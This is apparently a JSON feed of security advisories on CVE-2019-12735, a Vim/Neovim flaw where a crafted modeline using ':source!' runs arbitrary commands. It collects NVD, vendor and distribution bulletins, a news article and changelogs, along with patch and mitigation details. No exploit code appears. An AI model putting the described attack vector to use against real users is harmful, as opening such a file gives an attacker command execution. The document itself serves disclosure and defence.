{"cve": [{"lastseen": "2020-12-09T21:41:41", "description": "getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via the :source! command in a modeline, as demonstrated by execute in Vim, and assert_fails or nvim_input in Neovim.", "edition": 25, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.6, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 6.0}, "published": "2019-06-05T14:29:00", "title": "CVE-2019-12735", "type": "cve", "cwe": ["CWE-78"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12735"], "modified": "2019-06-13T21:29:00", "cpe": [], "id": "CVE-2019-12735", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-12735", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": []}], "f5": [{"lastseen": "2020-04-06T22:39:24", "bulletinFamily": "software", "cvelist": ["CVE-2019-12735"], "description": "\nF5 Product Development has assigned ID 795993 (BIG-IP), ID 796089 (BIG-IQ), ID 796101 (F5 iWorkflow), ID 796097 (Enterprise Manager), and IDs CPF-25103 and CPF-25104 (Traffix SDC) to this vulnerability. Additionally, [F5 iHealth](<https://www.f5.com/services/support/support-offerings/big-ip-ihealth-diagnostic-tool>) may list Heuristic H93144355 on the **Diagnostics** > **Identified** > **Medium** page.\n\nTo determine if your product and version have been evaluated for this vulnerability, refer to the **Applies to (see versions)** box. To determine if your release is known to be vulnerable, the components or features that are affected by the vulnerability, and for information about releases or hotfixes that address the vulnerability, refer to the following table. For more information about security advisory versioning, refer to [K51812227: Understanding Security Advisory versioning](<https://support.f5.com/csp/article/K51812227>).\n\nProduct | Branch | Versions known to be vulnerable | Fixes introduced in | Severity | CVSSv3 score1 | Vulnerable component or feature \n---|---|---|---|---|---|--- \nBIG-IP (LTM, AAM, AFM, Analytics, APM, ASM, DNS, Edge Gateway, FPS, GTM, Link Controller, PEM, WebAccelerator) | 15.x | 15.0.0 - 15.0.1 | None | Medium | [4.0](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L>) | Vim Linux text editor utility \n14.x | 14.0.0 - 14.1.2 | None \n13.x | 13.1.0 - 13.1.3 | None \n12.x | 12.1.0 - 12.1.5 | None \n11.x | 11.5.2 - 11.6.5 | None \nEnterprise Manager | 3.x | 3.1.1 | Not applicable | Medium | [4.0](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L>) | Vim Linux text editor utility \nBIG-IQ Centralized Management | 6.x | 6.0.0 - 6.1.0 | None | Medium | [4.0](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L>) | Vim Linux text editor utility \n5.x | 5.1.0 - 5.4.0 | None \nF5 iWorkflow | 2.x | 2.3.0 | None | Medium | [4.0](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L>) | Vim Linux text editor utility \nTraffix SDC | 5.x | 5.0.0 - 5.1.0 | None | Medium | [4.0](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L>) | Vim Linux text editor utility \n \n1The CVSSv3 score link takes you to a resource outside of AskF5, and it is possible that the document may be removed without our knowledge.\n\nIf you are running a version listed in the **Versions known to be vulnerable** column, you can eliminate this vulnerability by upgrading to a version listed in the **Fixes introduced in** column. If the table lists only an older version than what you are currently running, or does not list a non-vulnerable version, then no upgrade candidate currently exists.\n\nMitigation\n\nTo mitigate this vulnerability, you should ensure that **modeline **is not enabled** **in the Vi IMproved (**vim**)** **Linux text editor utility; the **modeline **option is disabled by default.\n\nTo view the current **modeline **setting, enter the following command from the **vim **utility:\n\n:set modeline?\n\nIf **modeline **is disabled, the output of the command is as follows:\n\nnomodeline\n\nIf **modeline **is enabled, the output of the command is as follows:\n\nmodeline \n\nTo disable **modeline**,** **enter the following command from the **vim **utility:\n\n:set nomodeline\n\n * [Vim.org](<https://www.vim.org/>)\n * [Manual page: vim - Vi IMproved text editor](<http://linuxcommand.org/lc3_man_pages/vim1.html>)\n * [K51812227: Understanding Security Advisory versioning](<https://support.f5.com/csp/article/K51812227>)\n * [K41942608: Overview of Security Advisory articles](<https://support.f5.com/csp/article/K41942608>)\n * [K4602: Overview of the F5 security vulnerability response policy](<https://support.f5.com/csp/article/K4602>)\n * [K4918: Overview of the F5 critical issue hotfix policy](<https://support.f5.com/csp/article/K4918>)\n * [K167: Downloading software and firmware from F5](<https://support.f5.com/csp/article/K167>)\n * [K9970: Subscribing to email notifications regarding F5 products](<https://support.f5.com/csp/article/K9970>)\n * [K9957: Creating a custom RSS feed to view new and updated documents](<https://support.f5.com/csp/article/K9957>)\n", "edition": 1, "modified": "2019-10-17T01:52:00", "published": "2019-06-24T23:37:00", "id": "F5:K93144355", "href": "https://support.f5.com/csp/article/K93144355", "title": "Vim/Neovim vulnerability CVE-2019-12735", "type": "f5", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2019-06-10T19:17:41", "bulletinFamily": "info", "cvelist": ["CVE-2019-12735"], "description": "[](<https://1.bp.blogspot.com/-MyQBaKJXZM8/XP6ejKE_rcI/AAAAAAAA0K4/OrFbkZIP8ksYb62a6dZD2kqtVj2BZcnvACLcBGAs/s728-e100/linux-vim-vulnerability.jpg>)\n\nLinux users, beware! \n \nIf you haven't recently updated your Linux operating system, especially the command-line text editor utility, do not even try to view the content of a file using Vim or Neovim. \n \nSecurity researcher [Armin Razmjou](<https://twitter.com/rawsec>) recently discovered a high-severity arbitrary OS command execution vulnerability (CVE-2019-12735) in **Vim** and **Neovim**\u2014two most popular and powerful command-line text editing applications that come pre-installed with most Linux-based operating systems. \n \nOn Linux systems, Vim editor allows users to create, view or edit any file, including text, programming scripts, and documents. \n\n\n \nSince Neovim is just an extended forked version of Vim, with better user experience, plugins and GUIs, the code execution vulnerability also resides in it. \n \n\n\n## Code Execution Flaw in Vim and Neovim\n\n \nRazmjou [discovered](<https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md>) a flaw in the way Vim editor handles \"modelines,\" a feature that's enabled-by-default to automatically find and apply a set of custom preferences mentioned by the creator of a file near the starting and ending lines in the document. \n\n\n[](<https://1.bp.blogspot.com/-P_Bv95bWpdM/XP6fUEx6ckI/AAAAAAAA0LA/03krqYNRVKEwmxVPj6uJXUrLVlNIkHwdACLcBGAs/s728-e100/linux-vim-vulnerability.gif>)\n\nThough the editor only allows a subset of options in modelines (for security reasons) and uses sandbox protection if it contains an unsafe expression, Razmjou revealed that using \":source!\" command (with a bang [!] modifier) can be used to bypass the sandbox. \n \nTherefore, just opening an innocent looking specially crafted file using Vim or Neovim could allow attackers to secretly execute commands on your Linux system and take remote control over it. \n\n\n \nThe researcher has also released two proof-of-concept exploits to the public, one of which demonstrates a real-life attack scenario wherein a remote attacker gains access to a reverse shell from the victim's system as soon as he/she opens a file on it. \n \nThe maintainers of Vim (patch 8.1.1365) and Neovim (released in v0.3.6) have released updates for both utilities to address the issue, which users should install as soon as possible. \n \nBesides this, the researcher has also recommended users to: \n \n\n\n * disable modelines feature,\n * disable \"modelineexpr\" to disallow expressions in modelines,\n * use \"securemodelines plugin,\" a secure alternative to Vim modelines.\n", "modified": "2019-06-10T18:26:48", "published": "2019-06-10T18:26:00", "id": "THN:9460624BCD0856A65B8FA82B14272221", "href": "https://thehackernews.com/2019/06/linux-vim-vulnerability.html", "type": "thn", "title": "Your Linux Can Get Hacked Just by Opening a File in Vim or Neovim Editor", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "ubuntu": [{"lastseen": "2020-07-09T00:29:58", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "It was discovered that Neovim incorrectly handled certain files. An attacker \ncould possibly use this issue to execute arbitrary code. (CVE-2019-12735)", "edition": 2, "modified": "2019-06-11T00:00:00", "published": "2019-06-11T00:00:00", "id": "USN-4016-2", "href": "https://ubuntu.com/security/notices/USN-4016-2", "title": "Neovim vulnerability", "type": "ubuntu", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-07-02T11:41:33", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735", "CVE-2017-5953"], "description": "It was discovered that Vim incorrectly handled certain files. \nAn attacker could possibly use this issue to execute arbitrary code. \nThis issue only affected Ubuntu 16.04 LTS. (CVE-2017-5953)\n\nIt was discovered that Vim incorrectly handled certain files. \nAn attacker could possibly use this issue to execute arbitrary code. \n(CVE-2019-12735)", "edition": 2, "modified": "2019-06-11T00:00:00", "published": "2019-06-11T00:00:00", "id": "USN-4016-1", "href": "https://ubuntu.com/security/notices/USN-4016-1", "title": "Vim vulnerabilities", "type": "ubuntu", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "suse": [{"lastseen": "2019-06-17T20:48:39", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "This update for vim fixes the following issue:\n\n Security issue fixed:\n\n - CVE-2019-12735: Fixed a potential arbitrary code execution vulnerability\n in getchar.c (bsc#1137443).\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n", "edition": 1, "modified": "2019-06-17T18:12:58", "published": "2019-06-17T18:12:58", "id": "OPENSUSE-SU-2019:1561-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00037.html", "title": "Security update for vim (important)", "type": "suse", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-07-23T19:42:35", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "This update for neovim fixes the following issues:\n\n neovim was updated to version 0.3.7:\n\n * CVE-2019-12735: source should check sandbox (boo#1137443)\n * genappimage.sh: migrate to linuxdeploy\n\n Version Update to version 0.3.5:\n\n * options: properly reset directories on 'autochdir'\n * Remove MSVC optimization workaround for SHM_ALL\n * Make SHM_ALL to a variable instead of a compound literal #define\n * doc: mention "pynvim" module rename\n * screen: don't crash when drawing popupmenu with 'rightleft' option\n * look-behind match may use the wrong line number\n * :terminal : set topline based on window height\n * :recover : Fix crash on non-existent *.swp\n\n Version Update to version 0.3.4:\n\n * test: add tests for conceal cursor movement\n * display: unify ursorline and concealcursor redraw logic\n\n Version Update to version 0.3.3:\n\n * health/provider: Check for available pynvim when neovim mod is missing\n * python#CheckForModule: Use the given module string instead of\n hard-coding pynvim\n * (health.provider)/python: Import the neovim, rather than pynvim, module\n * TUI: Konsole DECSCUSR fixup\n\n Version Update to version 0.3.2:-\n\n * Features\n\n - clipboard: support Custom VimL functions (#9304)\n - win/TUI: improve terminal/console support (#9401)\n - startup: Use $XDG_CONFIG_DIRS/nvim/sysinit.vim if exists (#9077)\n - support mapping in more places (#9299)\n - diff/highlight: show underline for low-priority CursorLine (#9028)\n - signs: Add "nuhml" argument (#9113)\n - clipboard: support Wayland (#9230)\n - TUI: add support for undercurl and underline color (#9052)\n - man.vim: soft (dynamic) wrap (#9023)\n\n * API\n\n - API: implement object namespaces (#6920)\n - API: implement nvim_win_set_buf() (#9100)\n - API: virtual text annotations (nvim_buf_set_virtual_text) (#8180)\n - API: add nvim_buf_is_loaded() (#8660)\n - API: nvm_buf_get_offset_for_line (#8221)\n - API/UI: ext_newgrid, ext_histate (#8221)\n\n * UI\n\n - TUI: use BCE again more often (smoother resize) (#8806)\n - screen: add missing status redraw when redraw_later(CLEAR) was used\n (#9315)\n - TUI: clip invalid regions on resize (#8779)\n - TUI: improvements for scrolling and clearing (#9193)\n - TUI: disable clearing almost everywhere (#9143)\n - TUI: always use safe cursor movement after resize (#9079)\n - ui_options: also send when starting or from OptionSet (#9211)\n - TUI: Avoid reset_color_cursor_color in old VTE (#9191)\n - Don't erase screen on :hi Normal during startup (#9021)\n - TUI: Hint wrapped lines to terminals (#8915)\n\n * FIXES\n\n - RPC: turn errors from async calls into notifications\n - TUI: Restore terminal title via "title stacking" (#9407)\n - genappimage: Unset $ARGV0 at invocation (#9376)\n - TUI: Konsole 18.07.70 supports DECSCUSR (#9364)\n - provider: improve error message (#9344)\n - runtime/syntax: Fix highlighting of autogroup contents (#9328)\n - VimL/confirm(): Show dialog even if :silent (#9297)\n - clipboard: prefer xclip (#9302)\n - provider/nodejs: fix npm, yarn detection\n - channel: avoid buffering output when only terminal is active (#9218)\n - ruby: detect rbenv shims for other versions (#8733)\n - third party/unibilium: Fix parsing of extended capabilitiy entries\n (#9123)\n - jobstart(): Fix hang on non-executable cwd (#9204)\n - provide/nodejs: Simultaneously query npm and yarn (#9054)\n - undo: Fix infinite loop if undo_read_byte returns EOF (#2880)\n - 'swapfile: always show dialog' (#9034)\n\n - Add to the system-wide configuration file extension of runtimepath by\n /usr/share/vim/site, so that neovim uses other Vim plugins installed\n from packages.\n\n - Add /usr/share/vim/site tree of directories to be owned by neovim as\n well.\n\n This update was imported from the openSUSE:Leap:15.0:Update update project.\n\n", "edition": 1, "modified": "2019-07-23T18:17:53", "published": "2019-07-23T18:17:53", "id": "OPENSUSE-SU-2019:1796-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00050.html", "title": "Security update for neovim (important)", "type": "suse", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-07-21T13:42:46", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "This update for neovim fixes the following issues:\n\n neovim was updated to version 0.3.7:\n\n * CVE-2019-12735: source should check sandbox (boo#1137443)\n * genappimage.sh: migrate to linuxdeploy\n\n Version Update to version 0.3.5:\n\n * options: properly reset directories on 'autochdir'\n * Remove MSVC optimization workaround for SHM_ALL\n * Make SHM_ALL to a variable instead of a compound literal #define\n * doc: mention "pynvim" module rename\n * screen: don't crash when drawing popupmenu with 'rightleft' option\n * look-behind match may use the wrong line number\n * :terminal : set topline based on window height\n * :recover : Fix crash on non-existent *.swp\n\n Version Update to version 0.3.4:\n\n * test: add tests for conceal cursor movement\n * display: unify ursorline and concealcursor redraw logic\n\n Version Update to version 0.3.3:\n\n * health/provider: Check for available pynvim when neovim mod is missing\n * python#CheckForModule: Use the given module string instead of\n hard-coding pynvim\n * (health.provider)/python: Import the neovim, rather than pynvim, module\n * TUI: Konsole DECSCUSR fixup\n\n Version Update to version 0.3.2:-\n\n * Features\n\n - clipboard: support Custom VimL functions (#9304)\n - win/TUI: improve terminal/console support (#9401)\n - startup: Use $XDG_CONFIG_DIRS/nvim/sysinit.vim if exists (#9077)\n - support mapping in more places (#9299)\n - diff/highlight: show underline for low-priority CursorLine (#9028)\n - signs: Add "nuhml" argument (#9113)\n - clipboard: support Wayland (#9230)\n - TUI: add support for undercurl and underline color (#9052)\n - man.vim: soft (dynamic) wrap (#9023)\n\n * API\n\n - API: implement object namespaces (#6920)\n - API: implement nvim_win_set_buf() (#9100)\n - API: virtual text annotations (nvim_buf_set_virtual_text) (#8180)\n - API: add nvim_buf_is_loaded() (#8660)\n - API: nvm_buf_get_offset_for_line (#8221)\n - API/UI: ext_newgrid, ext_histate (#8221)\n\n * UI\n\n - TUI: use BCE again more often (smoother resize) (#8806)\n - screen: add missing status redraw when redraw_later(CLEAR) was used\n (#9315)\n - TUI: clip invalid regions on resize (#8779)\n - TUI: improvements for scrolling and clearing (#9193)\n - TUI: disable clearing almost everywhere (#9143)\n - TUI: always use safe cursor movement after resize (#9079)\n - ui_options: also send when starting or from OptionSet (#9211)\n - TUI: Avoid reset_color_cursor_color in old VTE (#9191)\n - Don't erase screen on :hi Normal during startup (#9021)\n - TUI: Hint wrapped lines to terminals (#8915)\n\n * FIXES\n\n - RPC: turn errors from async calls into notifications\n - TUI: Restore terminal title via "title stacking" (#9407)\n - genappimage: Unset $ARGV0 at invocation (#9376)\n - TUI: Konsole 18.07.70 supports DECSCUSR (#9364)\n - provider: improve error message (#9344)\n - runtime/syntax: Fix highlighting of autogroup contents (#9328)\n - VimL/confirm(): Show dialog even if :silent (#9297)\n - clipboard: prefer xclip (#9302)\n - provider/nodejs: fix npm, yarn detection\n - channel: avoid buffering output when only terminal is active (#9218)\n - ruby: detect rbenv shims for other versions (#8733)\n - third party/unibilium: Fix parsing of extended capabilitiy entries\n (#9123)\n - jobstart(): Fix hang on non-executable cwd (#9204)\n - provide/nodejs: Simultaneously query npm and yarn (#9054)\n - undo: Fix infinite loop if undo_read_byte returns EOF (#2880)\n - 'swapfile: always show dialog' (#9034)\n\n - Add to the system-wide configuration file extension of runtimepath by\n /usr/share/vim/site, so that neovim uses other Vim plugins installed\n from packages.\n\n - Add /usr/share/vim/site tree of directories to be owned by neovim as\n well.\n\n", "edition": 1, "modified": "2019-07-21T12:18:12", "published": "2019-07-21T12:18:12", "id": "OPENSUSE-SU-2019:1759-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00034.html", "title": "Security update for neovim (important)", "type": "suse", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-06-17T20:48:40", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "This update for vim fixes the following issue:\n\n Security issue fixed:\n\n - CVE-2019-12735: Fixed a potential arbitrary code execution vulnerability\n in getchar.c (bsc#1137443).\n\n This update was imported from the SUSE:SLE-12:Update update project.\n\n", "edition": 1, "modified": "2019-06-17T18:11:39", "published": "2019-06-17T18:11:39", "id": "OPENSUSE-SU-2019:1562-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00036.html", "title": "Security update for vim (important)", "type": "suse", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-08-24T16:38:30", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "This update for neovim fixes the following issues:\n\n neovim was updated to version 0.3.7:\n\n * CVE-2019-12735: source should check sandbox (boo#1137443)\n * genappimage.sh: migrate to linuxdeploy\n\n Version Update to version 0.3.5:\n\n * options: properly reset directories on 'autochdir'\n * Remove MSVC optimization workaround for SHM_ALL\n * Make SHM_ALL to a variable instead of a compound literal #define\n * doc: mention "pynvim" module rename\n * screen: don't crash when drawing popupmenu with 'rightleft' option\n * look-behind match may use the wrong line number\n * :terminal : set topline based on window height\n * :recover : Fix crash on non-existent *.swp\n\n Version Update to version 0.3.4:\n\n * test: add tests for conceal cursor movement\n * display: unify ursorline and concealcursor redraw logic\n\n Version Update to version 0.3.3:\n\n * health/provider: Check for available pynvim when neovim mod is missing\n * python#CheckForModule: Use the given module string instead of\n hard-coding pynvim\n * (health.provider)/python: Import the neovim, rather than pynvim, module\n * TUI: Konsole DECSCUSR fixup\n\n Version Update to version 0.3.2:-\n\n * Features\n\n - clipboard: support Custom VimL functions (#9304)\n - win/TUI: improve terminal/console support (#9401)\n - startup: Use $XDG_CONFIG_DIRS/nvim/sysinit.vim if exists (#9077)\n - support mapping in more places (#9299)\n - diff/highlight: show underline for low-priority CursorLine (#9028)\n - signs: Add "nuhml" argument (#9113)\n - clipboard: support Wayland (#9230)\n - TUI: add support for undercurl and underline color (#9052)\n - man.vim: soft (dynamic) wrap (#9023)\n\n * API\n\n - API: implement object namespaces (#6920)\n - API: implement nvim_win_set_buf() (#9100)\n - API: virtual text annotations (nvim_buf_set_virtual_text) (#8180)\n - API: add nvim_buf_is_loaded() (#8660)\n - API: nvm_buf_get_offset_for_line (#8221)\n - API/UI: ext_newgrid, ext_histate (#8221)\n\n * UI\n\n - TUI: use BCE again more often (smoother resize) (#8806)\n - screen: add missing status redraw when redraw_later(CLEAR) was used\n (#9315)\n - TUI: clip invalid regions on resize (#8779)\n - TUI: improvements for scrolling and clearing (#9193)\n - TUI: disable clearing almost everywhere (#9143)\n - TUI: always use safe cursor movement after resize (#9079)\n - ui_options: also send when starting or from OptionSet (#9211)\n - TUI: Avoid reset_color_cursor_color in old VTE (#9191)\n - Don't erase screen on :hi Normal during startup (#9021)\n - TUI: Hint wrapped lines to terminals (#8915)\n\n * FIXES\n\n - RPC: turn errors from async calls into notifications\n - TUI: Restore terminal title via "title stacking" (#9407)\n - genappimage: Unset $ARGV0 at invocation (#9376)\n - TUI: Konsole 18.07.70 supports DECSCUSR (#9364)\n - provider: improve error message (#9344)\n - runtime/syntax: Fix highlighting of autogroup contents (#9328)\n - VimL/confirm(): Show dialog even if :silent (#9297)\n - clipboard: prefer xclip (#9302)\n - provider/nodejs: fix npm, yarn detection\n - channel: avoid buffering output when only terminal is active (#9218)\n - ruby: detect rbenv shims for other versions (#8733)\n - third party/unibilium: Fix parsing of extended capabilitiy entries\n (#9123)\n - jobstart(): Fix hang on non-executable cwd (#9204)\n - provide/nodejs: Simultaneously query npm and yarn (#9054)\n - undo: Fix infinite loop if undo_read_byte returns EOF (#2880)\n - 'swapfile: always show dialog' (#9034)\n\n - Add to the system-wide configuration file extension of runtimepath by\n /usr/share/vim/site, so that neovim uses other Vim plugins installed\n from packages.\n\n - Add /usr/share/vim/site tree of directories to be owned by neovim as\n well.\n\n This update was imported from the openSUSE:Leap:15.1:Update update project.\n\n", "edition": 1, "modified": "2019-08-24T15:11:43", "published": "2019-08-24T15:11:43", "id": "OPENSUSE-SU-2019:1997-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00075.html", "title": "Security update for neovim (important)", "type": "suse", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "fedora": [{"lastseen": "2020-12-21T08:17:55", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "VIM (VIsual editor iMproved) is an updated and improved version of the vi editor. Vi was the first real screen-based editor for UNIX, and is still very popular. VIM improves on vi by adding new features: multiple windows, multi-level undo, block highlighting and more. ", "modified": "2019-06-13T01:39:09", "published": "2019-06-13T01:39:09", "id": "FEDORA:1D5A160E619F", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 29 Update: vim-8.1.1471-1.fc29", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-21T08:17:55", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "VIM (VIsual editor iMproved) is an updated and improved version of the vi editor. Vi was the first real screen-based editor for UNIX, and is still very popular. VIM improves on vi by adding new features: multiple windows, multi-level undo, block highlighting and more. ", "modified": "2019-06-08T00:59:20", "published": "2019-06-08T00:59:20", "id": "FEDORA:997D862FC43D", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 30 Update: vim-8.1.1471-1.fc30", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "centos": [{"lastseen": "2020-12-08T03:39:26", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "**CentOS Errata and Security Advisory** CESA-2019:1619\n\n\nVim (Vi IMproved) is an updated and improved version of the vi editor.\n\nSecurity Fix(es):\n\n* vim/neovim: ':source!' command allows arbitrary command execution via modelines (CVE-2019-12735)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2019-July/035383.html\n\n**Affected packages:**\nvim\nvim-X11\nvim-common\nvim-enhanced\nvim-filesystem\nvim-minimal\n\n**Upstream details at:**\n", "edition": 3, "modified": "2019-07-01T15:55:11", "published": "2019-07-01T15:55:11", "id": "CESA-2019:1619", "href": "http://lists.centos.org/pipermail/centos-announce/2019-July/035383.html", "title": "vim security update", "type": "centos", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-08T03:39:10", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "**CentOS Errata and Security Advisory** CESA-2019:1774\n\n\nVim (Vi IMproved) is an updated and improved version of the vi editor.\n\nSecurity Fix(es):\n\n* vim/neovim: ':source!' command allows arbitrary command execution via modelines (CVE-2019-12735)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2019-July/035405.html\n\n**Affected packages:**\nvim\nvim-X11\nvim-common\nvim-enhanced\nvim-filesystem\nvim-minimal\n\n**Upstream details at:**\n", "edition": 4, "modified": "2019-07-17T16:41:16", "published": "2019-07-17T16:41:16", "id": "CESA-2019:1774", "href": "http://lists.centos.org/pipermail/centos-announce/2019-July/035405.html", "title": "vim security update", "type": "centos", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "archlinux": [{"lastseen": "2020-09-22T18:36:40", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "Arch Linux Security Advisory ASA-201906-8\n=========================================\n\nSeverity: High\nDate : 2019-06-11\nCVE-ID : CVE-2019-12735\nPackage : vim\nType : arbitrary code execution\nRemote : Yes\nLink : https://security.archlinux.org/AVG-975\n\nSummary\n=======\n\nThe package vim before version 8.1.1467-1 is vulnerable to arbitrary\ncode execution.\n\nResolution\n==========\n\nUpgrade to 8.1.1467-1.\n\n# pacman -Syu \"vim>=8.1.1467-1\"\n\nThe problem has been fixed upstream in version 8.1.1467.\n\nWorkaround\n==========\n\nDisable modeline support in the vimrc file by setting:\n\n set nomodeline\n\nDescription\n===========\n\ngetchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote\nattackers to execute arbitrary OS commands via the :source! command in\na modeline, as demonstrated by execute in Vim, and assert_fails or\nnvim_input in Neovim.\n\nImpact\n======\n\nA remote attacker could execute code with a maliciously written file.\n\nReferences\n==========\n\nhttps://github.com/vim/vim/commit/53575521406739cf20bbe4e384d88e7dca11f040\nhttps://security.archlinux.org/CVE-2019-12735", "modified": "2019-06-11T00:00:00", "published": "2019-06-11T00:00:00", "id": "ASA-201906-8", "href": "https://security.archlinux.org/ASA-201906-8", "type": "archlinux", "title": "[ASA-201906-8] vim: arbitrary code execution", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-09-22T18:36:40", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "Arch Linux Security Advisory ASA-201906-9\n=========================================\n\nSeverity: High\nDate : 2019-06-11\nCVE-ID : CVE-2019-12735\nPackage : gvim\nType : arbitrary code execution\nRemote : Yes\nLink : https://security.archlinux.org/AVG-976\n\nSummary\n=======\n\nThe package gvim before version 8.1.1467-1 is vulnerable to arbitrary\ncode execution.\n\nResolution\n==========\n\nUpgrade to 8.1.1467-1.\n\n# pacman -Syu \"gvim>=8.1.1467-1\"\n\nThe problem has been fixed upstream in version 8.1.1467.\n\nWorkaround\n==========\n\nDisable modeline support in the vimrc file by setting:\n\n set nomodeline\n\nDescription\n===========\n\ngetchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote\nattackers to execute arbitrary OS commands via the :source! command in\na modeline, as demonstrated by execute in Vim, and assert_fails or\nnvim_input in Neovim.\n\nImpact\n======\n\nA remote attacker could execute code with a maliciously written file.\n\nReferences\n==========\n\nhttps://github.com/vim/vim/commit/53575521406739cf20bbe4e384d88e7dca11f040\nhttps://security.archlinux.org/CVE-2019-12735", "modified": "2019-06-11T00:00:00", "published": "2019-06-11T00:00:00", "id": "ASA-201906-9", "href": "https://security.archlinux.org/ASA-201906-9", "type": "archlinux", "title": "[ASA-201906-9] gvim: arbitrary code execution", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "redhat": [{"lastseen": "2019-08-13T18:45:57", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "Vim (Vi IMproved) is an updated and improved version of the vi editor.\n\nSecurity Fix(es):\n\n* vim/neovim: ':source!' command allows arbitrary command execution via modelines (CVE-2019-12735)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2019-06-27T09:08:29", "published": "2019-06-27T01:21:08", "id": "RHSA-2019:1619", "href": "https://access.redhat.com/errata/RHSA-2019:1619", "type": "redhat", "title": "(RHSA-2019:1619) Important: vim security update", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-08-13T18:47:07", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "Vim (Vi IMproved) is an updated and improved version of the vi 